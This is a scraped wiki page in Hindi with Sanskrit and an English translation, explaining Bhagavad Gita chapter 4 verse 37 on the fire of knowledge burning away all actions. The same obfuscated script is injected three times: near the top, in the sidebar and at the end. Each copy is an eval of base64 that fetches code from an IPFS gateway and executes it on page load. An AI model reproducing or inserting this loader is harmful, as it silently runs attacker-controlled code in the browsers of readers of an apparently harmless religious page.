गीता 4:37

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Govind (चर्चा | योगदान) द्वारा परिवर्तित १३:२५, १५ नवम्बर २००९ का अवतरण
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता अध्याय-4 श्लोक-37 / Gita Chapter-4 Verse-37

प्रसंग-


इस प्रकार चौतीसवें श्लोक से यहाँ तक तत्त्वज्ञानी महापुरूषों की सेवा आदि करके तत्त्वज्ञान को प्राप्त करने के लिये कह कर भगवान् ने उसके फल का वर्णन करते हुए उसका माहात्म्य बतलाया । इस पर यह जिज्ञासा होती है कि यह तत्त्वज्ञान ज्ञानी महापुरूषों से श्रवण करके विधि पूर्वक मनन और निदध्यासनादि ज्ञान योग के साधनों द्वारा ही प्राप्त किया जा सकता है या इसकी प्राप्ति का कोई दूसरा मार्ग भी है, इस पर अगले श्लोक में पुन: उस ज्ञान की महिमा प्रकट करते हुए भगवान् कर्मयोग के द्वारा भी वही ज्ञान अपने-आप प्राप्त होने की बात कहते हैं-


यथैधांसि समिद्धोऽग्निर्भस्मसात्कुरूतेऽर्जुन ।
ज्ञानाग्नि: सर्वकर्माणि भस्मसात्कुरूते तथा ।।37।।




क्योंकि हे अर्जुन ! जैसे प्रज्वलित अग्नि ईंधनों को भस्ममय कर देता है, वैसे ही ज्ञानरूप अग्नि सम्पूर्ण कर्मों को भस्ममय कर देता है ।।37।।


For as the blazing fire turns the fuel to ashes, Arjuna, even so the fire of knowledge turns all actions to ashes.. (37)


अर्जुन = हे अर्जुन; यथा = जैसे; समिद्व: = प्रज्वलित; एधांसि = इन्धन को; भस्मसात् = भस्ममय; कुरूते = कर देता है; तथा = वैसे ही; ज्ञानभि: = ज्ञानरूप अग्नि; सर्वकर्माणि = संपूर्ण कर्मों को; भस्मसात् = भस्ममय; कुरूते = कर देता है



अध्याय चार श्लोक संख्या
Verses- Chapter-4

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29, 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>